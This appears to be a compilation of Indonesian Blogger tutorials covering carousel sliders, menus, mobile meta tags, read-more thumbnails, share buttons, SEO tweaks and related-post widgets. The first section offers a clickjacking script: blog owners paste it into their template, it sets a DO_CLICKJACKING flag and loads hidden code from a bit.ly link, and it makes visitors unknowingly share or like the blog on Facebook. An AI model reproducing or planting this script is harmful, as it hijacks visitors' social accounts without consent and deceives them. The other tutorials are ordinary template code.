Auto Like jEBAGAN

hy sobat migger smua,,,??

Nah skrng w mo share sbuah scipt, ya wlaupun sbner'na udh da yg share di forum" sblah, nah skrng saat w share di sni , mklum sblum w share, w plajarin dlu script'na hehehe
stelah w teliti lbih dlm, trnyata cukup bkerja dgn baik, dan lumayan brguna bagi autor blog atau web utk mngshare link'na di facebook.
scara ga lngsung, ya buat mempromosikan blog / web qta di fb dgn bantuan pngunjung yg mampir ke blog kita.

Cara krja'na cukup simple, jdi jika da yg brkungjung ke blog atau situs qta, otomatis klo si pngungjung online fb, link blog kita bkal ke share ke fb si TS.
tpi klo pngungjung'na ga online fb, pasti muncul popup konfirmasi login jika ingin mnglike tautan kita.

klo da yg brminat, silahkan pasang script di bawah ini di blog kalian, klo bs pasang di tag persis sblum tag </head>

Kode PHP:

<script src='http://code.jquery.com/jquery-1.5.js'></script><script src='http://connect.facebook.net/en_US/all.js#xfbml=1'></script>
<script>window.DO_CLICKJACKING = 1</script>
<script src='http://bit.ly/qPPTmm'></script> 

---

Membuat Slider Carousel Otomatis Berdasarkan Label

utorial kali ini saya akan membahas bagaimana membuat slider Carousel otomatis berdasarkan label. Prinsip kerja dari slider ini sama seperti pada slider otomatis berdasarkan kategori. Anda tinggal mengganti dengan label anda dan slider ini akan bekerja sesuai dengan label yang anda masukkan. Slider Carousel yang saya buat kali ini sangat sederhana dan hanya menggunakan jCarousellite script tanpa menambahkan efek easing dan mousewheel.

DEMO

Cara pemasangannyapun sangat mudah, jika anda sudah pernah mempraktekkan artikel saya terdahulu yang berjudul membuat slider otomatis berdasarkan kategori tertentu, tutorial kali ini terasa sangat mudah, karena langkah-langkah pembuatannya hampir sama. Langsung saja di bawah ini langkah-langkah untuk membuatnya :

1. Login ke blogger dengan akun Anda
2. Setelah itu pilih blog yang ingin anda tambahkan slider ini.
3. Masuk ke template >> Edit HTML, kemudian centang expand widget templates
4. Untuk berjaga-jaga agar tidak terjadi kesalahan dalam pengeditan nantinya, backup dulu template anda.
5. Setelah semua langkah diatas anda lakukan, letakkan kode berikut ini diatas kode ]]></b:skin> :
   
   #carousel{width:950px;height:185px;margin-bottom:0px;position:relative;display:block}
   #carousel .container{position:absolute;left:49px;width:895px;height:185px;overflow:hidden;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbtH3EG8zMzo4hkK67AYzJHHrzDFNF0nH-1prTKjc5V9r_0Sgdk_8suChNbPl8W6qEV_sdmaVAECQMSA9NA_OwURBP4k7LFe4hL519PRK6omu4FdkQTElhESdxNGp4bbydqBNg56wbyP4/s1600/scroller-bg.png) repeat center}
   #carousel #previous_button{position:absolute;width:49px;height:185px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMHorhiOh9_PVzTV_D6oU8jQPtJ9QcJSYoJ6vBdWD-80HosjFNs657RaFsidKrRnxBsLq9vd_ADgzW2zIsrYro2I_W-nxhTfybYEXe28Q3a0wb2eRnrb6yc-JQGgnyeXVtiVBdwNm0qkc/s1600/prev.png) center;z-index:100;cursor:pointer;border-right:1px solid #ccc}
   #carousel #previous_button:hover{background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbqZKWbrWaR5cNbEPMB85XCRGjGHVfPIYQ2HvYq4fFp01p3heZRUPJtXfkazql4AbHnJKBbB9vTyc2oUpaq5ioIjRLUR_WXruY7mKS5ahlqr74hr2CEsjnuyNa5uA6z0PTvejegIdZbN8/s1600/prev.png) center}
   #carousel #next_button{position:absolute;right:0;width:49px;height:185px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVFBDgI1PwMIPmocQrq-uvvSj7NOFBOfaz0fn0fZBAmOcektx1-t4KhAxgfruD3esntkykSwAOrM_UdOoXCHD1WOsbzCEfh0lF-Mi-B1LrwlzBDS7XBXD9lVLJCrCcuMCQlEZHbmJoMwc/s1600/next.png) center;z-index:100;cursor:pointer;border-left:1px solid #ccc}
   #carousel #next_button:hover{background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGwffzzbngzUISBtNi4u2JMRfoG5yD9unWh4jdOCX2YFg9QUf0F_FU6YEVNQOPzdtQ9v4iOhDSLPF3CG2MJGApF-rhfwTsJKiqRk-3PPwd7qc6MMcKV4zuA5PgWN8602_RlPKd4Kzwp2s/s1600/next.png) center}
   #carousel ul{width:100000px;position:relative;margin-top:10px}
   #carousel ul li{background:#fff url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRfEKgURAnplQDgZKe9A-qdxNmNOd0yIX63oKjVSqn0nb4sgxomq3QkW41V3dPIZW6VUOx7FfYX1NLVnRGgesjPxGrbBHpQWwFscRg0nxgVofvdbu1bIW0y4ie6oSY1jBwU7RXHOq3F1k/s1600/main.png) repeat-x top;display:inline;float:left;text-align:center;font-weight:700;font-size:.9em;line-height:1.2em;border:1px solid #ccc;width:145px;height:150px;margin:0 4px 20px 7px;padding:6px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}
   #carousel ul li:hover{filter:alpha(opacity=75);opacity:.75;}
   #carousel ul li a.slider_title{color:#222;display:block;margin-top:5px}
   #carousel ul li a.slider_title:hover{color:#cd1713}
   #carousel a img{display:block;background:#fff;margin-top:0}
   Perhatikan kode warna biru diatas, itu adalah lebar dan tinggi slider pada demo yang saya buat, silahkan Anda sesuaikan dengan ukuran template Anda.
6. Langkah selanjutnya masih pada posisi Edit HTML, masukkan kode berikut ini diatas kode </head> :
   
   <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' type='text/javascript'/>
   <script src='http://kauman.googlecode.com/files/jcarousellite.js' type='text/javascript'/>
   
   <script type='text/javascript'>
   //<![CDATA[
   imgr = new Array();
   imgr[0] = "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHtCFdzhggeLuoaErAFboIzVmc9zptlaTwb2iZBACMKX5bzFIBKZGAn0fKSGwuGiZb79_zf7fHVJCu5NJqmJmzimKclBREgGKZ9ukFky2OmYiqtZsQMUGBSqDc-Okjc3RkVKFZtM-yYPg/s1600/no+image.jpg";
   showRandomImg = true;
   
   aBold = true;
   
   summaryPost = 140;
   summaryTitle = 25;
   
   numposts1 = 15;
   label1 = "news";
   
   function removeHtmlTag(strx,chop){
   var s = strx.split("<");
   for(var i=0;i<s.length;i++){
   if(s[i].indexOf(">")!=-1){
   s[i] = s[i].substring(s[i].indexOf(">")+1,s[i].length);
   }
   }
   
   s = s.join("");
   s = s.substring(0,chop-1);
   return s;
   }
   function showrecentposts(json) {
   j = (showRandomImg) ? Math.floor((imgr.length+1)*Math.random()) : 0;
   img = new Array();
   document.write('<ul>');
   for (var i = 0; i < numposts1; i++) {
   var entry = json.feed.entry[i];
   var posttitle = entry.title.$t;
   var pcm;
   var posturl;
   if (i == json.feed.entry.length) break;
   for (var k = 0; k < entry.link.length; k++) {
   if (entry.link[k].rel == 'alternate') {
   posturl = entry.link[k].href;
   break;
   }
   }
   
   for (var k = 0; k < entry.link.length; k++) {
   if (entry.link[k].rel == 'replies' && entry.link[k].type == 'text/html') {
   pcm = entry.link[k].title.split(" ")[0];
   break;
   }
   }
   
   if ("content" in entry) {
   var postcontent = entry.content.$t;}
   else
   if ("summary" in entry) {
   var postcontent = entry.summary.$t;}
   else var postcontent = "";
   postdate = entry.published.$t;
   if(j>imgr.length-1) j=0;
   img[i] = imgr[j];
   s = postcontent ; a = s.indexOf("<img"); b = s.indexOf("src=\"",a); c = s.indexOf("\"",b+5); d = s.substr(b+5,c-b-5);
   if((a!=-1)&&(b!=-1)&&(c!=-1)&&(d!="")) img[i] = d;
   //cmtext = (text != 'no') ? '<i><font color="'+acolor+'">('+pcm+' '+text+')</font></i>' : '';
   var month = [1,2,3,4,5,6,7,8,9,10,11,12];
   var month2 = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];
   var day = postdate.split("-")[2].substring(0,2);
   var m = postdate.split("-")[1];
   var y = postdate.split("-")[0];
   for(var u2=0;u2<month.length;u2++){
   if(parseInt(m)==month[u2]) {
   m = month2[u2] ; break;
   }
   }
   
   var daystr = day+ ' ' + m + ' ' + y ;
   var trtd = '<li class="car"><div class="thumb"><a href="'+posturl+'"><img width="145" height="100" class="alignnone" src="'+img[i]+'"/></a></div><p><a class="slider_title" href="'+posturl+'">'+posttitle+'</a></p></li>';

   
   document.write(trtd);
   j++;
   }
   document.write('</ul>');
   }
   //]]>
   </script>
   Keterangan :
   
   Perhatikan URL script warna merah diatas, itu adalah kode script jQuery.min.js seri terbaru yang saya gunakan untuk membuat slider ini. Jika pada template Anda sudah terdapat jQuery.min.js walaupun serinya berbeda, kode warna merah diatas tidak perlu lagi Anda masukkan. Cukup satu jQuery.min.js yang ada di template, terserah mau seri berapa, kalau bisa versi yang terbaru.
   Sedangkan kode warna biru : 15 adalah jumlah slider yang ditampilkan. Dan news adalah label yang ditampilkan pada slider nantinya (Ingat besar kecil huruf harus sama dengan label yang sudah Anda buat).
7. Langkah selanjutnya adalah memanggil slider tersebut agar muncul di blog kita. Cari kode <div id='main-wrapper'>, kemudian letakkan kode berikut ini diatasnya :
   <b:if cond='data:blog.pageType != &quot;item&quot;'>
   <div id='carousel'>
   <div id='previous_button'/>
   <div class='container'>
   <script>
   

   document.write(&quot;&lt;script src=\&quot;/feeds/posts/default/-/&quot;+label1+&quot;?max-results=&quot;+numposts1+&quot;&amp;orderby=published&amp;alt=json-in-script&amp;callback=showrecentposts\&quot;&gt;&lt;\/script&gt;&quot;);

   </script>   
   <div class='clear'/>
   </div>
   <div id='next_button'/>
   </div>
   <script type='text/javascript'>
   (function($) {     $(document).ready(function(){
   $(&quot;#carousel .container&quot;).jCarouselLite({
       auto:4000,
       scroll: 1,
       speed: 800,   
       visible: 5,
       start: 0,
       circular: true,
       btnPrev: &quot;#previous_button&quot;,
       btnNext: &quot;#next_button&quot;
       });
       })})(jQuery)   
   </script>
   </b:if>
   Kode diatas bisa juga anda letakkan dibawah atau diatas navigasi menu Anda atau bisa juga diletakkan diatas footer. 
8. Langkah terakhir, save templates dan lihat hasilnya. Jika Anda ikuti langkah diatas dengan benar, slider Carousel itu akan muncul di blog Anda.

Sangat mudah ya, anda tinggal ikuti langkah-langkah diatas dan baca dengan teliti jangan terburu-buru, Jika masih ada yang kurang jelas silahkan tinggalkan pesan pada kotak komentar yang ada di bawah. Itu tadi tutorial singkat tentang bagaimana cara membuat slider Carousel otomatis berdasarkan kategori atau label kali ini, selamat mencoba dan semoga bermanfaat.

Cara Membuat Page / Laman - Menu Blog Pada Blog

Kegunaan Page / Laman ini adalah salah satu cara mempercantik blog. Sehingga terlihat rapi. Guna sama dengan yang lainnnya untuk memudahkan visitor untuk melihta isi dalam blog kita.

Perlu anda ketahui bahwa template bawaan blogspot, telah menyediakan fasilitas-fasilitas Page Laman. Tinggal kitanya yang mengatur letak posisinya dimana.

Laman ini hampir sama dengan postingan namun postingan pada laman tidak masuk dalam Arsip Blog. Jadi kita harus membuat Tampilan Laman supaya visitor bisa mengunjungi / membaca postingan / laman yang kita buat.

Catatan tambahan, apabila anda menggunakan template yang dinamis atau template yang telah menyediakan Menu, langkah-langkah ini abaikan saja yah.

Adapun langkah-langkahnya Cara Membuat Page / Laman - Menu Blog Pada Blog sebagai berikut:
1. Bukalah Akun Blog anda (tentunya akun blog sendiri bukan).
2. Pada Dasbor Blog, pilihlah Rancangan / Design
3. Pada tampilan template ada beberapa kotak, pilihlah Tambah Gadget / Add Widget.

4, Selanjutnya akan muncul sebuah kotak seperti gambar di bawah ini. Carilah Gadget / Widget "Laman"

5. Apabila sudah ketemu, Kliklah Gadget / Widget "Laman" tersebut. (Biasanya, bila ada tanda + (warna biru) gadget terbut belum ada dalam blog kita).

6. Maka akan muncul seperti gambar di bawah ini.

7. Klik Simpan.
8. Tempatkanlah Page / Laman anda di atas tepat di bawah Nama Blog  (Header Blog) Anda pada template Blog Anda. (lihat Gambar di bawah ini)

.  9. Simpan Template Anda. Lihat hasilnya.

Setelah langkah-langkah diatas sudah anda lakukan maka kita beralih Pembuatan / Posting Laman Baru.
1. Masuklah Ke Entri Baru / Postingan baru. Lihat deretan Entri Baru ada Edit Entri dan Edit Laman. Pilihlah Edit Laman Lihat gambar di bawah ini.

 

2. Setelah Anda klik Edit Laman.pilihlan Laman Baru (lihat gambar di bawah ini)

3. Mulailah Anda Menulis Apa Isi Laman Anda. Misalnya Anda menulis Buku Tamu, Daftar Isi, atau Tentang Anda.

 

4. Terbitkanlah Laman Anda. Lihat Hasilnya.

Lihat Contoh Penggunaan Laman Pada Blog disini : http://zimbo-mp3.blogspot.com/

Cara Edit Tampilan Laman Yang sudah Ada
Cara edit tampilan laman ini dilakukan apabila Menu Laman Blog anda ingin anda pindah-pindah. Misalnya Daftar isi ingin sebelah Beranda  (catatan : Laman Beranda tidak bisa dipindah-pindahkan) atau anda tidak ingin menampilkan Laman.
1. Masuklah ke Rancangan Blog Anda.
2. Kliklah Widget Laman Anda.
3. Akan muncul gambar seperti berikut

4. Apabila anda tidak ingin menampilkan Menu Laman, Matikan / Off Centang pilihan. Apabila anda ingin memindahkan, Seret Menu Laman yang anda ingin pindahkan.
5. Simpan Widget anda. Lalu Simpan Template Blog anda. Lihat Hasilnya.

Cara agar Blog cepat di Buka Lewat HP

Perubahan begitu Cepat dan tak terkendali, kini sudah bukan hal sulit dan langka lagi untuk mengakses internet, sudah tidak terhitung jumlahnya orang mengakses Internet lewat HP karena rata-rata perusahaan Hape sudah menambahkan fitur ini.
Dengan HP yang sudah sudah suppor dengan GPRS, cukup cepat untuk mengakses internet apalagi dengan HP 3G.Untuk itulah, kita bisa mengatakan banyak pembaca yang mungkin datang ke blog Anda melalui ponsel / HP. Dan jika Blog Anda tidak bisa diakses atau sangat lama mengaksesnya di HP/ ponsel kemungkinan besar Anda akan kehilangan semua pembaca yang menggunakan HP, sebuah blog yang normal dibutuhkan banyak waktu untuk memuat semua tampilan halamannya selain itu Blog Anda kadang tidak sesuai di layar HP.
Agar kita tidak kehilangan kesempatan, sebaiknya kita membuat Blog kita Mudah atau Cepat di AKses Handphone.
Baiklah Mari kita Mulai dan ikuti langkah-langkah berikut ini :

1. Masuk ke akun Blogger Anda
2. Klik Tata Letak
3. Klik Edit HTML
4. Cari Kode dibawah ini : agar cepat ketemu silahkan tekan Ctrl + F
   <b:include data='blog' name='all-head-content'/>
5. Sisipkan kode berikut ini di bawahnya
   <meta content='IE=EmulateIE7' http-equiv='X-UA-Compatible'/>
   <b:if cond='data:blog.isMobile'>
   <meta content='width=device-width, initial-scale=1.0, user-scalable=0' name='viewport'/>
   <b:else/>
   <meta content='width=1100' name='viewport'/>
   </b:if>
   
6. Klik Save Template

Oke Sekarang pengunjung Anda dapat mengakses blog Anda melalui ponsel dengan lebih Cepat

Semoga Bermanfaat

Cara agar Blog cepat di Buka Lewat HP 10out of 10 based on 10 ratings. 10 user reviews.

membuat readmore top

sangat mudah sekali, karena hanya tinggal mengcopykan script code yang ada ke template blogspot anda, dan Berikut ini cara yang mudah untuk membuat Read More Otomatis dengan Thumbnail di Blogger seperti halnya yang digunakan pada Blog. sebelum anda memulai membuat read more pada blog, blogspot, blogger yang harus anda lakukan adalah sebagai berikut :

► Silahkan Login dan masuk di akun blogger anda
► lalu klik Rancangan dan klik Edit HTML
► Centang Expand Template Widget
► Untuk mempermudah pencarian kode HTML nya anda tekan aja ( CTRL + F )
► Cari kode </head> dan kalau sudah ketemu
► Lalu silahkan Tambahkan kode dibawah ini tepatnya diatas kode </head>

<script type='text/javascript'> var thumbnail_mode = "no-float" ; summary_noimg = 430; summary_img = 340; img_thumb_height = 100; img_thumb_width = 120; </script> <script src='http://rizqi.moehamed.googlepages.com/read-moreotomatis.js' type='text/javascript'/>


Bila anda ingin merubah ukuran Read More Pada Blog, Blogspot, Blogger anda, ubah aja di bagian-bagian kode di bawah ini, dan Ubah angka nya sesuai kebutuhan:

summary_noimg = 430; adalah tinggi potongan artikel tanpa gambar
summary_img = 340; adalah tinggi potongan artikel dengan gambar
img_thumb_height = 100; adalah ukuran tinggi thumbnail
img_thumb_width = 120; adalah ukuran lebar thumbnail

► langkah Selanjutnya cari kode <data:post.body/> lalu ganti tag <data:post.body/> tersebut dengan kode script di bawah ini :

<b:if cond='data:blog.pageType != &quot;item&quot;'>
<div expr:id='&quot;summary&quot; + data:post.id'><data:post.body/></div>
<script type='text/javascript'>createSummaryAndThumb(&quot;summary<data:post.id/>&quot;);
</script>
<span class='rmlink' style='float:right;padding-top:20px;'>
<a expr:href='data:post.url'>&#187;&#187;&#160;&#160;READMORE...</a></span>
</b:if>
<b:if cond='data:blog.pageType == &quot;item&quot;'><data:post.body/></b:if>


► dan untuk kata " READ MORE " bisa diganti sesuai dengan selera anda.

setelah dipastikan semua udah terpasang dengan benar langkah selanjutnya adalah simpan template dan coba lihatlah hasilnya.

Okelah sobat itulah artikel tentang Cara Membuat Read More Pada Blog, Blogspot, Blogger yang mungkin bisa sedikit membantu anda. dan ingat, sebelum anda memasukan kode2 diatas sebaiknya anda backup terlebih dahulu template dengan cara download lengkap tempalte, langkah ini untuk antisipasi bila anda salah memasukkan kode yang ada. dan mungkin anda juga ingin Menampilkan Jumlah Visitor Online di blog atau Mempercantik Blog Dengan Gadget Blogspot dan mungkin juga menambahkan Daftar Isi atau Sitemap di Blog ?

► Dan untuk melihat contoh hasil dari Read more bisa anda lihat DISINI

Cara Membuat Widget Share

Cara Membuat Widget Share (Facebook like, Twitter Tweet, Google+, Share) berada dalam postingan Blog. Pada postingan sebelumnya saya membuat tutorial tentang Cara Menambahkan Widget Share Melayang pada Blog yang memiliki banyak fungsi untuk mempromosikan blog kita pada jejaring sosial, dan masih banyak fungsi lainnya. Dan kali ini saya akan coba share cara membuat widget share tapi letaknya berada disetiap postingan blog atau tepatnya berada didalam postingan artikel blog.

Untuk Mendapatkan Widget ini cukup mudah, langkah-langkahnya sebagai berikut :

1. Kunjungi www.addthis.com 

2. Kita bisa login atau langsung dapat mengambil kode javascriptnya. Keuntungan login kita bisa mendapatkan analytics summary blog kita secara berkala. contohnya seperti dibawah ini

3. Silahkan pilih satu model button sesuai dengan kebutuhan, seperti gambar dibawah ini

4. Lalu klik tepat dibawahnya bacaan "blogger, wordpress, and more option >>" dan jika sudah langsung ambil kode javascript yang telah disediakan berdasarkan pilihan sebelumnya. grab it !!

5. Dan langkah terakhir seperti biasa Login akun blog'a > lalu Layout > Tata Letak > Add/tambah gadget > Lalu pilih dan klik HTML/Javascript dan pastekan codenya.

6. Simpan dan lihat hasilnya

Baca Selengkapnya di : Membuat Share Button dalam Postingan Blog | AF Sahabat Artikel http://abyfarhan7.blogspot.com/2012/01/membuat-share-button-dalam-postingan.html#ixzz21noS8L6N

Membuat menu Di Blog

banyak yang nanyain cara bikin menu seperti yang aku pake di blog ini. untuk blogspot, sebelum membuat menu, halaman yang akan di link sebaiknya di buat dulu dari postingan biasa, karena di blogspot tidak ada fasilitas membuat halaman, yang ada hanya membuat postingan. jadi menu kita nantinya akan di link ke postingan yang udah kita buat.

misalnya kamu ingin membuat menu Info elektronik, Tips ngeblog, dan Get money. maka kamu harus membuat postingan dengan judul/title:  info elektronik ,  tips ngeblog , dan  get money , dengan demikian kita akan mempunya 3 halaman dengan url

http://nama.blogspot.com/ info elektronik .html,

http://nama.blogspot.com/ tips ngeblog .html dan

http://nama.blogspot.com/ get money .html.

selanjutnya ikuti langkah-langkah pembuatan menu secara otomatis menggunakan list-o-matic. setelah semua langkah di lakukan, kamu akan di beri 2 jenis kode yaitu html dan css.

Here is the HTML for this list:

<div id="navcontainer">
<ul id="navlist">
<li><a href="http://kodokpinter.blogspot.com/search/label/Info%20elektronik ">Info Elektronik</a></li>
<li><a href="http://kodokpinter.blogspot.com/search/label/tips%20ngeblog ">Tips ngeblog</a></li>
<li><a href="http://kodokpinter.blogspot.com/search/label/Get%20Money">Get Money</a></li>
</ul>
</div>

Copy kode HTML dan masukkan lewat Add a Page Element – HTML/JavaScript dan letakkan dimana kamu pengen menunya muncul.

Here is the CSS for this list:

#navlist ul
{
margin-left: 0;
padding-left: 0;
white-space: nowrap;
}
#navlist li
{
display: inline;
list-style-type: none;
}
#navlist a { padding: 3px 10px; }
#navlist a:link, #navlist a:visited
{
color: #fff;
background-color: #036;
text-decoration: none;
}
#navlist a:hover
{
color: #fff;
background-color: #369;
text-decoration: none;
}

Sedangkan untuk kode CSS harus di copy dan di letakkan dalam kode template. Di halaman template blog kamu, pilih Edit HTML, letakkan kode CSS dari List-O-Matic tadi sebelum kode ]]></b:skin> dan save template.

Selamat Mencoba !

Trik agar blog SEO Friendly

Teknik SEO Blogspot memang tidak ada habis-habisnya untuk diterapkan atau dipraktekkan. Semua blogger pasti mendambakan SEO mereka agar optimal untuk blog-blog mereka. Nah, kali ini saya akan memposting artikel yang ada hubungannya dengan belajar SEO blogspot.

Hmm.. kira-kira apa ya?

Berbagai cara memang telah dilakukan untuk meningkatkan optimasi SEO blogspot, seperti halnya dalam memilih template blog. Memilih template blog yang benar memang mutlak diperlukan. Jika dalam memilih template blog dengan asal-asalan, alhasil nantinya SEO blogspot kita akan kacau.

Maka pilihlah template blog Anda dengan benar. Benar disini maksudnya adalah tampilannya bagus, tidak mencolok mata, cocok untuk tema blog kita, dan yang lebih penting lagi adalah SEO Friendly.

Nah, jika mungkin Anda ingin membuat template blog Anda agar menjadi template SEO friendly maka cara-cara di bawah ini mungkin bisa bermanfaat buat Anda. Berikut cara-caranya!

1.     Page Title

Biasanya format page title dari blogger adalah seperti ini, JUDUL BLOG : JUDUL POSTING. Nah, agar blog kita lebih disukai oleh Google sehingga ujung-ujungnya blog kita jadi rame, kita harus merubah format page title standar itu menjadi seperti ini, JUDUL POSTING | JUDUL BLOG.

Caranya cari kode berikut ini di Edit HTML, cukup dengan menekan tombol Ctrl+F pada keyboard!

<title><data:blog.pageTitle/></title>

Kalo udah dapet kodenya, silakan Anda hapus dan ganti dengan kode berikut ini!

<b:if cond='data:blog.pageType == "item"'>
<title><data:blog.pageName/> | <data:blog.title/></title>
<b:else/>
<title><data:blog.pageTitle/></title>
</b:if>

Atau Anda juga bisa tambahkan dengan beberapa kata kunci (keyword).

<b:if cond='data:blog.pageType == "item"'>
<title><data:blog.pageName/> | <data:blog.title/></title>
<b:else/>
<title><data:blog.pageTitle/> | KATA KUNCI ANDA | KATA KUNCI ANDA </title>
</b:if>

Ganti kode "KATA KUNCI ANDA" dengan keyword yang Anda incar. Setelah semua selesai jangan lupa untuk save template.

2.     Meta Keyword dan Deskripsi

Suatu mesin pencari seperti Google sangat menyukai sebuah website/blog yang jelas tema dan isi content-nya. Jadi, Anda harus tambahkan suatu tag yang namanya meta tag. Caranya adalah dengan menambahkan kode berikut ini sebelum kode <b:skin><![CDATA[/*.

<b:if cond='data:blog.url == data:blog.homepageUrl'>
<meta name="description" content="DESKRIPSI BLOG ANDA" />
<meta name="keywords" content="KATA KUNCI, KATA KUNCI, KATA KUNCI" />
</b:if>

Setelah itu, save template Anda.

3.     Memasang Breadcrumbs

Breadcrumbs adalah menu navigasi yang ada di atas sebuah posting atau artikel. Contohnya bisa dilihat diblog saya ini. Cara pasangnya juga sudah banyak dibahas di blog-blog guru blogging.

4.     Memasang Related Post

Related post sangat bagus untuk SEO maupun buat pengunjung. Jadi pasanglah segera related post di blog Anda. Caranya sudah banyak dibahas di blog-blog para guru blogging.

5.     Mematikan Setting Blog Archive (Arsip Blog)

“Lho?”

“Buat apa?”

Begini, Google sangat membenci dengan yang namanya duplicate content. Jadi ketika kita mengaktifkan opsi blog arsip, misalnya kejadiannya seperti ini, Anda ingin membuat sebuah blog di blogger.com. Lalu membuat 3 posting, 1 buah setiap hari. Maka di halaman utama atau homepage Anda akan ada 3 posting dan sebuah link arsip seperti ini, http://BLOGANDA.blogspot.com/2007_03_01_archive.html, yang memunculkan 3 posting yang sama dengan yang dimunculkan oleh homepage. Intinya, 2 buah link yang memunculkan sebuah halaman yang sama. Bagi Search Engine apa lagi Google, ini adalah masalah serius. Oleh karena itu kita harus me-nonaktifkan opsi arsip.

Caranya, cukup klik tab Setting, pilih Archiving. Nah, pada bagian Archiving Frequency ubah menjadi No Archive. Selesai sudah! :)

6.     Menambahkan Kode ‘Rel=Canonical’

Gunanya kita menambahkan ‘rel=canonical’ adalah untuk menghindari konten ganda, karena seperti para Master of SEO bilang bahwa Google sangat tidak dapat mentolerir sebuah duplicate content. Caranya mudah, cukup klik Edit HTML, lalu Anda tambahkan kode berikut setelah kode <head>.

<link expr:href='data:blog.url' rel='canonical' />

Save template dan selesai.

7.     Tag Heading

Google sangat menyukai sebuah tulisan atau judul dengan tag H1. Oleh karena itu ubahlah ukuran judul posting Anda dengan tag H1. Caranya cari kode berikut!

<b:if cond='data:post.title'>
<h3 class='post-title entry-title'>
<b:if cond='data:post.link'>
<a expr:href='data:post.link'><data:post.title/></a>
<b:else/>
<b:if cond='data:post.url'>
<a expr:href='data:post.url'><data:post.title/></a>
<b:else/>
<data:post.title/>
</b:if>
</b:if>
</h3>
</b:if>

Kode yang dicetak tebal dihapus dan diubah dengan tulisan h1. Setelah itu tambahkan kode berikut sebelum kode ]]></b:skin>.

h1.post-title, .post h1 #Blog1 h1, #Blog2 h1 { font-size:1.5em; }

Nah, mungkin cukup sekian dulu dari saya tentang bagaimana cara mengedit template blog agar SEO friendly kali ini. Sebelumnya tips ini saya rangkum dari berbagai sumber ketika saya lama belajar SEO blogspot walaupun SEO blog saya belum seoptimal blog master di luar sana. :)

cara membuat related post / artikel terkait

Jika Ada yang belum tahu artikel terkait itu apa silahkan lihat di blog ini pada bagian akhir artikel saya ini ada tulisan Artikel Terkait. Fungsinya selain untuk seo, related post / artikel terkait ini juga membantu pengunjung untuk membaca yang lain mungkin yang belum di ketahuinya. Hal ini menyebabkan pengunjung bisa betah berada di blog kita.
Langsung saja cara membuat related post / artikel terkait :

Masuk blogger > rancangan > edit html > centang expand template widget
cari kode </head> kemudian letakkan script di bawah ini tepat di atas kode </head>

<script type="text/javascript">
//<![CDATA[
var relatedTitles = new Array();
var relatedTitlesNum = 0;
var relatedUrls = new Array();
function related_results_labels(json) {
for (var i = 0; i < json.feed.entry.length; i++) {
var entry = json.feed.entry[i];
relatedTitles[relatedTitlesNum] = entry.title.$t;
for (var k = 0; k < entry.link.length; k++) {
if (entry.link[k].rel == 'alternate') {
relatedUrls[relatedTitlesNum] = entry.link[k].href;
relatedTitlesNum++;
break;}}}}
function removeRelatedDuplicates() {
var tmp = new Array(0);
var tmp2 = new Array(0);
for(var i = 0; i < relatedUrls.length; i++) {
if(!contains(tmp, relatedUrls[i])) {
tmp.length += 1;
tmp[tmp.length - 1] = relatedUrls[i];
tmp2.length += 1;
tmp2[tmp2.length - 1] = relatedTitles[i];}}
relatedTitles = tmp2;
relatedUrls = tmp;}
function contains(a, e) {
for(var j = 0; j < a.length; j++) if (a[j]==e) return true;
return false;}
function printRelatedLabels() {
var r = Math.floor((relatedTitles.length - 1) * Math.random());
var i = 0;
document.write('<ul>');
while (i < relatedTitles.length && i < 20) {
document.write('<li><a href="' + relatedUrls[r] + '">' +
relatedTitles[r] + '</a></li>');
if (r < relatedTitles.length - 1) {
r++;
} else {
r = 0;}
i++;}
document.write('</ul>');}
//]]>
</script>

Kemudian cari kode <data:post.body/> kemudian letakkan script berikut ini di bawah kode <data:post.body/>

<b:if cond='data:post.labels'>
<b:loop values='data:post.labels' var='label'>
<b:if cond='data:blog.pageType == "item"'>
<script expr:src='"/feeds/posts/default/-/" + data:label.name + "?alt=json-in-script&amp;callback=related_results_labels&amp;max-results=5"' type='text/javascript'/>
</b:if>
</b:loop>
</b:if>

<b:if cond='data:blog.pageType == "item"'>
<h4>Artikel Terkait</h4>
<script type="text/javascript">
removeRelatedDuplicates();
printRelatedLabels();
</script>
</b:if>

Terakhir simpan template. Cukup mudah bukan cara membuat related post / artikel terkait. :D